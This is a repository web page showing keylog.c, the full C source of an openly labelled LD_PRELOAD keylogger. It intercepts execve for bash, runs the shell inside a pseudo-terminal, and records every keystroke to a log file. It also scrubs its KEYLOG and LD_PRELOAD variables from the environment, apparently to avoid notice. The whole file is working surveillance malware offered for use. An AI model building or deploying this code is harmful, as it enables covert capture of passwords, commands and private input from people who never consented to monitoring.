keylog

LD_PRELOAD-based keylogger
git clone https://git.sinitax.com/sinitax/keylog
Log | Files | Refs | LICENSE | sfeed.txt

keylog.c (5552B)


      1/* GPLv3 License, see COPYING
      2
      3 * Idea heavily inspired by: Matias Fontanini (GPLv3)
      4 * Source: https://github.com/mfontanini/Programs-Scripts/keylogger
      5
      6 * This program is free software: you can redistribute it and/or modify
      7 * it under the terms of the GNU General Public License as published by
      8 * the Free Software Foundation, either version 3 of the License, or
      9 * (at your option) any later version.
     10
     11 * This program is distributed in the hope that it will be useful,
     12 * but WITHOUT ANY WARRANTY; without even the implied warranty of
     13 * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
     14 * GNU General Public License for more details.
     15
     16 * You should have received a copy of the GNU General Public License
     17 * along with this program.  If not, see <https://www.gnu.org/licenses/>.
     18*/
     19
     20#define _XOPEN_SOURCE 600 
     21
     22#include <sys/stat.h>
     23#include <sys/types.h>
     24#include <sys/select.h>
     25#include <sys/wait.h>
     26#include <sys/ioctl.h>
     27#include <unistd.h>
     28#include <dlfcn.h>
     29#include <fcntl.h> 
     30#include <termios.h>
     31#include <time.h>
     32#include <string.h>
     33#include <stdbool.h>
     34#include <stdlib.h>
     35#include <stdarg.h>
     36#include <stdio.h>
     37
     38#define RTLD_NEXT ((void *) -1l)
     39
     40typedef int (*execve_fun)(const char *filename,
     41	char *const argv[], char *const envp[]);
     42
     43extern char **environ;
     44
     45static execve_fun execve_ptr = NULL;
     46static const char *logfile_path = NULL;
     47static FILE *logfile = NULL;
     48
     49/* programs we want to monitor */
     50static char *target_files[] = { "/bin/bash", "/usr/bin/bash", NULL };
     51
     52static void
     53die(const char *fmt, ...)
     54{
     55	va_list ap;
     56
     57	va_start(ap, fmt);
     58	fputs("keylog: ", stderr);
     59	vfprintf(stderr, fmt, ap);
     60	if (*fmt && fmt[strlen(fmt)-1] == ':') {
     61		fputc(' ', stderr);
     62		perror(NULL);
     63	} else {
     64		fputc('\n', stderr);
     65	}
     66	va_end(ap);
     67
     68	exit(1);
     69}
     70
     71static void
     72metalog(const char *msg, const char *filename)
     73{
     74	char timestr[64];
     75	time_t now;
     76
     77	now = time(NULL);
     78	strftime(timestr, sizeof(timestr), "%F %T", localtime(&now));
     79	fprintf(logfile, "\n\n-- %s (%s) @[%s] -- \n\n",
     80		msg, filename, timestr);
     81}
     82
     83static int
     84fwd(int readfd, int writefd, bool log)
     85{
     86	char buffer[BUFSIZ];
     87	ssize_t got;
     88	size_t i, prev;
     89
     90	do {
     91		if ((got = read(readfd, buffer, sizeof(buffer))) < 0)
     92			return 1;
     93
     94		if (log) {
     95			for (prev = i = 0; i <= got; i++) {
     96				if (buffer[i] == '\r' || i == got) {
     97					fwrite(buffer + prev, 1,
     98						(size_t) (i - prev), logfile);
     99					if (i == got - 1)
    100						fputc('\n', logfile);
    101					if (i + 1 < got && buffer[i+1] != '\n')
    102						fputc('\n', logfile);
    103					prev = i + 1;
    104				}
    105			}
    106			fflush(logfile);
    107		}
    108
    109		if (write(writefd, buffer, (size_t) got) != got)
    110			return 1;
    111	} while (got == sizeof(buffer));
    112
    113	return 0;
    114}
    115
    116static void
    117mitm(int fd)
    118{
    119	fd_set fds;
    120
    121	while (1) {
    122		FD_ZERO(&fds);
    123		FD_SET(0, &fds);
    124		FD_SET(fd, &fds);
    125
    126		if (select(fd + 1, &fds, 0, 0, 0) == -1)
    127			return;
    128
    129		if (FD_ISSET(0, &fds)) { /* stdin */
    130			if (fwd(0, fd, true)) return;
    131		}
    132
    133		if (FD_ISSET(fd, &fds)) { /* process */
    134			if (fwd(fd, 1, false)) return;
    135		}
    136	}
    137}
    138
    139static void
    140rawterm(struct termios *term)
    141{
    142	term->c_iflag &= ~(0U | IGNBRK | BRKINT | PARMRK | ISTRIP
    143			| INLCR | IGNCR | ICRNL | IXON);
    144	term->c_oflag &= ~(0U | OPOST);
    145	term->c_lflag &= ~(0U | ECHO | ECHONL | ICANON | ISIG | IEXTEN);
    146	term->c_cflag &= ~(0U | CSIZE | PARENB);
    147	term->c_cflag |= CS8;
    148}
    149
    150int
    151execve(const char *filename, char *const argv[], char *const envp[]) {
    152	pid_t pid;
    153	struct winsize wsize;
    154	int master_fd;
    155	char **file;
    156
    157	/* Lookup the real execve address. */
    158	if (!execve_ptr) execve_ptr = (execve_fun) dlsym(RTLD_NEXT, "execve");
    159
    160	/* Check if target program is one we want to keylog */
    161	for (file = target_files; *file; file++)  {
    162		if (!strcmp(*file, filename))
    163			break;
    164	}
    165
    166	/* It's not one of the files, just normally call execve. */
    167	if (!*file) return execve_ptr(filename, argv, envp);
    168
    169	/* Get the TTY window size. */
    170	ioctl(0, TIOCGWINSZ, &wsize);
    171
    172	/* Open a pty master fd. */
    173	if ((master_fd = posix_openpt(O_RDWR | O_NOCTTY)) == -1)
    174		return -1;
    175	if (grantpt(master_fd) == -1 || unlockpt(master_fd) == -1)
    176		return -1;
    177
    178	if ((pid = fork()) == -1) return -1;
    179
    180	if (pid == 0) {
    181		int slave_fd;
    182
    183		/* child: create new session and open pty slave fd */
    184		setsid();
    185		slave_fd = open(ptsname(master_fd), O_RDWR);
    186		close(master_fd);
    187
    188		/* take control of term and setup like master */
    189		ioctl(slave_fd, TIOCSCTTY, 0);
    190		ioctl(slave_fd, TIOCSWINSZ, &wsize);
    191		if (dup2(slave_fd, 0) == -1 || dup2(slave_fd, 1) == -1 || dup2(slave_fd, 2) == -1)
    192			exit(1);
    193		close(slave_fd);
    194
    195		/* call target program */
    196		execve_ptr(filename, argv, envp);
    197	} else {
    198		int status;
    199		struct termios original, settings;
    200
    201		/* save settings */
    202		tcgetattr(0, &original);
    203		settings = original;
    204
    205		/* make term not effect output */
    206		rawterm(&settings);
    207		tcsetattr(0, TCSANOW, &settings); 
    208		ioctl(master_fd, TIOCSCTTY);
    209
    210		logfile = fopen(logfile_path, "a+");
    211		if (!logfile) die("fopen:");
    212
    213		metalog("OPEN", filename);
    214		mitm(master_fd);
    215		metalog("CLOSE", filename);
    216
    217		waitpid(pid, &status, 0);
    218		tcsetattr(0, TCSANOW, &original); 
    219
    220		fclose(logfile);
    221		logfile = NULL;
    222
    223		close(master_fd);
    224	}
    225
    226	exit(0);
    227}
    228
    229void
    230__attribute__((constructor))
    231init(void)
    232{
    233	char **iter, **prev;
    234
    235	/* remove extra env vars from environ */
    236	for (iter = prev = environ; *iter; iter++) {
    237		if (!strncmp(*iter, "KEYLOG=", 7)) {
    238			logfile_path = *iter + 7;
    239		} else if (strstr(*iter, "LD_PRELOAD=") == *iter) {
    240			continue;
    241		} else {
    242			*prev = *iter;
    243			prev++;
    244		}
    245	}
    246	*prev = NULL;
    247
    248	if (!logfile_path) {
    249		printf("KEYLOG not specified!\n");
    250		exit(1);
    251	}
    252}